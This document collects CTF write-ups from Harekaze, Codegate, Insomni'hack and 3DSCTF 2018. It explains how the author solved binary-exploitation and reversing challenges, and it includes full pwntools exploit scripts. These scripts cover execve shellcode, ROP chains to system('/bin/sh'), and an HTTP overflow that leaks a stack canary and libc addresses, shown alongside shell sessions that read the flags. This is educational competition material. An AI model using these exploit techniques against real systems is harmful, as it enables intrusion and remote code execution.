• Harekaze CTF 2018 alnush

    We had a x64 service wich allowed us to upload and execute shellcode. So far so good, but only alphanumeric shellcode was allowed. So just put in some premade code and we are done? Nah. It’s not that easy. The mempage where the shellcode gets executed later is marked as read and execute only, all of the alphanumeric shellcodes I found required it to be writeable as well so they can decode themselves. Now one could get the idea of jumping to mprotect first, and then perform further exploitation. I did not. I don’t even know if that was possible with the limited instructionset. In fact I solved the challenge without writing any alphanumeric shellcode at all, but by tricking the server into accepting (nearly) every shellcode.

    If we look at the server it has a straightforward to spot bufferoverflow when entering shellcode. And there are also no stack canaries. So a simple ropchain? Sadly PIE was enabled. So the only chance we have is jumping to one position once by partially overwriting a ret pointer. For a better understanding a picture of the codeflow.

    m1

    1 and 2 are the normal returns, ? is where I want to ret to, bypassing the strlen check on the shellcode input, effectively making it useless. For this to work I need to:

    • get rax = 0 (or just small)
    • fix the stack (so the local arguments match)

    How can I do this without having anything reliable to return to? There is one last memory region without ASLR! The vsyscall table. And we can use it to pop off the stack AND to get rax = 0! For this to work at least rdi must point to a writeable address. In our case this condition was met. So all we need to do is:

    • pop 4 qwords off the stack by repetitively returning into the vsyscall table
    • overwrite the second ret address with one byte (0x4d).
    • profit

    m2

    As a bonus we even get a more reliable exploit as we only need to overwrite one byte and don’t have to mess with aslr at all. There is only one last restricion, as a strcpy like function was used to copy the shellcode onto the heap, nullbytes and newlines are forbidden characters. Acceptable constraints :)

    from pwn import *
    
    r = remote("problem.harekaze.com", 20003)
    
    def pwn():
        r.recvuntil("Enter shellcode >> ")
        sh = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb" \
             "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
        r.send(sh + "X" * (0x208 - len(sh)) + struct.pack("<Q", 0xffffffffff600000) * 4 + struct.pack("B", 0x4d))
        r.interactive()
    
    
    if __name__ == '__main__':
        pwn()
    
    

    and finally

    [x] Opening connection to problem.harekaze.com on port 20003
    [x] Opening connection to problem.harekaze.com on port 20003: Trying 163.43.29.129
    [+] Opening connection to problem.harekaze.com on port 20003: Done
    [*] Switching to interactive mode
    OK!
    $ whoami
    alnush
    $ ls /home/alnush/
    alnush
    flag
    $ cat /home/alnush/flag
    HarekazeCTF{u_ex3cuted_alph4numeric_shellc0de!!!}
    

    Wut? u_ex3cuted_alph4numeric_shellc0de? Unintended solution? Was there a way to solve this challenge only using alphanumeric chars as well? Why was there an obvious overflow then?

  • Codegate CTF 2018 Preliminary RedVelvet

    This writeup describes how to solve the challenge with the help of angr. The challenge itself is a simple password input prompt wich outputs the flag afterwards.

    As the disassembled code looked like it would be easily solveable by angr I just wrote a small script. From looking at the disassembled code we can tell angr

    • where we want to go (right after passing all checks)
    • what to avoid (exit calls)
    • the needed length of the input string

    Furthermore I patched out a useless ptrace call and filled it with nops. I don’t know if that was necessary, but it reduced complexity for angr (no need to emulate it).

    import angr
    
    p = angr.Project('./RedVelvetPatch', load_options={"auto_load_libs": False})
    
    st = p.factory.entry_state()
    
    # in printable range
    for _ in xrange(26):
        k = st.posix.files[0].read_from(1)
        st.solver.add(k >= 0x20)
        st.solver.add(k <= 0x7e)
    
    # Constrain the last byte to be a newline
    k = st.posix.files[0].read_from(1)
    st.solver.add(k == 10)
    
    # Reset the symbolic stdin's properties and set its length.
    st.posix.files[0].seek(0)
    st.posix.files[0].length = 27
    
    sm = p.factory.simulation_manager(st)
    sm.explore(avoid=0x004007d0, find=0x0040152d)
    
    print(sm.found[0].posix.dumps(0))
    

    After a few minutes we got What_You_Wanna_Be?:)_lc_la, but this is not the correct password / flag. Sometimes there are multiple solutions when dealing with constraint solvers. In such a case one can modify the contraints to exclude the unwanted solution. But I noticed that there is a md5sum check included in the binary as well, so I just wrote a Python script bruteforcing the last 6 characters as the rest looked pretty good. This took too much time so i just decided to bruteforce the “lc” and “la” part, assuming the “_” to be correct. I immediately got the flag What_You_Wanna_Be?:)_la_la.

  • Codegate CTF 2018 Preliminary BaskinRobins31

    We were only provided with a x64 binary (no pic). It included an obvious overflow, allowing us to rop our way to the flag :) I could not find the used libc version (ok, i havent searched that hard), so I used pwnlibs DynELF Module. I wrote this writeup mainly to demonstrate the power of the DynELF Module in case you only have memory leaks at hand.

    About the exploit there is not that much to say. We have puts (for reading memory) and read (for writing memory). At the end of every ropchain I jump back to the entrypoint, effectively “restoring” the stack and allowing further exploitation. All gadgets were found with radares “/R/ …” utility.

    The plan is as follows:

    • leak a pointer into libc by reading address at GOT (needed by DynELF)
    • find out the address of system with the help of DynELF
    • write “/bin/sh” into unused GOT space
    • execute system(“/bin/sh”)
    • profit

    Now lean back and let DynELF do the work :D

    from pwn import *
    
    r = remote("ch41l3ng3s.codegate.kr", 3131)
    
    
    def leakat(addr):
        ropchain = struct.pack("<QQ", 0x00400bc3, addr)  # [pop rdi; ret;][addr]
        ropchain += struct.pack("<Q", 0x004006c0)  # [puts]
        ropchain += struct.pack("<Q", 0x00400780)  # entrypoint
    
        r.sendline("A" * 0xb8 + ropchain)
        r.recvuntil("Don't break the rules...:( \n")
        leak = r.recvuntil("###")[:-4]
        return leak + "\x00"
    
    
    def pwn():
        libcptr = leakat(0x00602028)  # points into got
        libcptr = libcptr + "\x00" * (8 - len(libcptr))
        libcptr = struct.unpack("<Q", libcptr)[0] - 0xf6000  # subtract offset for speedup
        d = DynELF(leakat, libcptr)
        systemaddr = d.lookup('system')
    
        # write "/bin/sh\x00" to 0x006020b8 (writeable and unused address)
        log.info("writing \"/bin/sh\" into got")
        ropchain = struct.pack("<QQQQ", 0x0040087a, 0, 0x006020b8, 8)  # [pop rdi; pop rsi; pop rdx; ret][stdin][rw@got][8]
        ropchain += struct.pack("<Q", 0x00400700)  # [read]
        ropchain += struct.pack("<Q", 0x00400780)  # entrypoint
        r.sendline("A" * 0xb8 + ropchain)
        r.send("/bin/sh\x00")
        r.recvuntil("Don't break the rules...:( \n")
    
        # triggering shell
        log.info("triggering system(\"/bin/sh\")")
        ropchain = struct.pack("<QQ", 0x00400bc3, 0x006020b8)  # [pop rdi; ret;]["/bin/sh"]
        ropchain += struct.pack("<Q", systemaddr)  # [system]
        r.sendline("A" * 0xb8 + ropchain)
        r.recvuntil("Don't break the rules...:( \n")
        r.interactive()
    
    
    if __name__ == '__main__':
        pwn()
    

    In the end, there is profit of course.

    [+] Opening connection to ch41l3ng3s.codegate.kr on port 3131: Done
    [!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
    [+] Finding base address: 0x7fa507ba4000
    [+] Resolving 'system': 0x7fa50818f000
    [*] writing "/bin/sh" into got
    [*] triggering system("/bin/sh")
    [*] Switching to interactive mode
    $ whoami
    player
    $ ls
    BaskinRobins31
    flag
    $ cat flag
    flag{The Korean name of "Puss in boots" is "My mom is an alien"}
    
  • Insomni'hack teaser 2018 sapeloshop

    First of all, I assume that this was not the intended solution for the challenge as it was labeled with Difficulty: Medium-Hard. There were multiple bugs (two buffer overflow and a use after free, double free). I opted to solve it the easy way with a good old buffer overflow.

    The challenge itself was a handwritten HTTP server in C. You can put items in your shopping cart, increase and decrease their amount, and remove them from the cart. We were provided with the binary and libc, aslr, nx and stack canaries turned on. The bug I exploited was in the POST request handling. Consider following pseudocode:

    bool keepalive = true;
    while(keepalive) {
        char buf[0x4000];
        int pos;
        pos = read(fd, buf, 0x4000);
        if (!strstr(buf, "keep-alive"))
            keepalive = false;
        if (strstr(buf, "Content-Length"))
            read(fd, &buf[pos], MIN(getcontentlength(buf), 1024));
        dostuff(buf);
    }
    

    So basically a simple buffer overflow. But before exploiting we need to leak the stack canary and the libc / proc base address. Wich was pretty easy. As the POST data is reused later, we could just overflow and leak by viewing our shopping cart (GET /cart HTTP/1.1). m1 The first red area is the HTTP request, second one is POST data. First green square is the stack canary, second a proc pointer and the third one belongs to libc_start_main_ret. If we send the above payload an item will be added to the shopping cart with the name “AAAA[cancary][procpointer]”. By increasing the amount of A’s we leak the libc_start_main_ret address as well and have all we need for pwnage! On all requests we set the “keepalive” to true, until we leaked everything and overwrote the stack properly with a simple ropchain ([pop rdi;ret]["/bin/sh"][system]). As soon as we set “keepalive” to false the ropchain will trigger system(“/bin/sh”).

    The flag was: INS{sapeurs_are_the_real_heapsters}.

    Full exploitcode we used, CTF codequality, unreliable:

    from pwn import *
    
    r = remote("sapeloshop.teaser.insomnihack.ch", 80)
    # r = remote("localhost", 31337)
    
    addr_binsh = 0x18cd57
    addr_system = 0x45390
    offset_libc = 0x20830   # libc start main ret
    offset_proc = 0x2370
    
    
    def leakall():
        payload = "POST /add HTTP/1.1\r\n" + \
                  "Connection: keep-alive\r\n" + \
                  "User-Agent: lolololol\r\n" + \
                  "Filler: " + "A" * 16283 + "\r\n" + \
                  "Content-Length: 0009\r\n" + \
                  "\r\n" + \
                  "desc=" + "A" * 4
        r.send(payload)
        r.recvuntil("</html>")
        r.send("POST /cart HTTP/1.1\r\n" +
               "Connection: keep-alive\r\n" +
               "User-Agent: lolololol\r\n" +
               "\r\n")
        r.recvuntil("img/AAAA")
        leak = "\x00" + r.recvn(13) + "\x00\x00"
        leak = struct.unpack("<QQ", leak)
        leak_canary = leak[0]
        leak_proc = leak[1] - offset_proc
        r.recvuntil("</html>")
    
        payload = "POST /add HTTP/1.1\r\n" + \
                  "Connection: keep-alive\r\n" + \
                  "User-Agent: lolololol\r\n" + \
                  "Filler: " + "A" * 16283 + "\r\n" + \
                  "Content-Length: 0024\r\n" + \
                  "\r\n" + \
                  "desc=" + "A" * 19
        r.send(payload)
        r.recvuntil("</html>")
        r.send("POST /cart HTTP/1.1\r\n" +
               "Connection: keep-alive\r\n" +
               "User-Agent: lolololol\r\n" +
               "\r\n")
        r.recvuntil("img/AAAAAAAAAAAAAAAAAAA")
        leak = r.recvn(6) + "\x00\x00"
        leak = struct.unpack("<Q", leak)
        leak_libc = leak[0] - offset_libc
        r.recvuntil("</html>")
    
        return leak_canary, leak_libc, leak_proc
    
    
    def pwn():
        cancary, libcbase, procbase = leakall()
        print("canary: {}\nlibc: {}\nproc: {}".format(hex(cancary), hex(libcbase), hex(procbase)))
    
        print("ropping.")
        ropchain = "A" * 8
        ropchain += struct.pack("<Q", procbase + 0x23d3)  # pop rdi;ret
        ropchain += struct.pack("<Q", libcbase + addr_binsh)  # /bin/sh
        ropchain += struct.pack("<Q", libcbase + addr_system)  # system
    
        payload = "POST /add HTTP/1.1\r\n" + \
                  "Connection: close\r\n" + \
                  "User-Agent: lolololol\r\n" + \
                  "Filler: " + "A" * 16288 + "\r\n" + \
                  "Content-Length: 0048\r\n" + \
                  "\r\n" + \
                  "desc=AAA" + struct.pack("<Q", cancary) + ropchain
        r.send(payload)
        r.recvuntil("</html>")
    
        print("zerfickung!")
        r.interactive()
    
    
    if __name__ == '__main__':
        pwn()
    
    
  • 3DSCTF maTTrYx

    When connecting to the challenge we were greeted with a matrix like animation.

    m1

    I first tried to find some hidden messages in the printed chars. I did:

    • Check the distance between chars
    • Check the amount of printed chars
    • Check for hidden bitstrings encoded as bold and thin printed chars
    • Check for whitespace and ‘whitespace like’ character use

    But realised (pretty late) that everything was completely equally distributed and no cyclic occurrences at all. So probably no hidden mesages in there.

    However there is still hope. If we write some data it would be echoed. This is unusual behaviour as it needs to be implemented on purpose. I tried a lot of special chars, quoutes and escape sequences without success. Also the challenge was in misc, so propably no pwnage here.

    I was really clueless at that moment and spend way too much time on the challenge by that time so I decided to just pipe some random bullshit into it and wait for what it returns.

    from pwn import *
    import random
    
    r = remote('mattryx01.3dsctf.org', 8012)
    
    
    if __name__ == '__main__':
        while True:
            pl = ''
            for n in range(random.randint(1, 20)):
                pl += chr(random.randint(0, 255))
            r.sendline(pl)
            print(r.recvline())
    

    Aaaand we got a crash after a few seconds. And a base64 encoded string. m1 It turns out that the base64 string decodes to 3DS{M3rRy_ChR, wich is the beginning of a flag. Okay, I see… We probably send some control characters and for some reason it crashed and gave us a part of the flag. We now could investigate more and look wich secquence caused the crash, but I had an even better Idea. Just crash it a few more times. Finally we got three different base64 encoded strings wich, decrypted and concaternated, resulted in the flag:

    3DS{M3rRy_ChR15Tm45_W17H_0uR_S1Gn4L5_}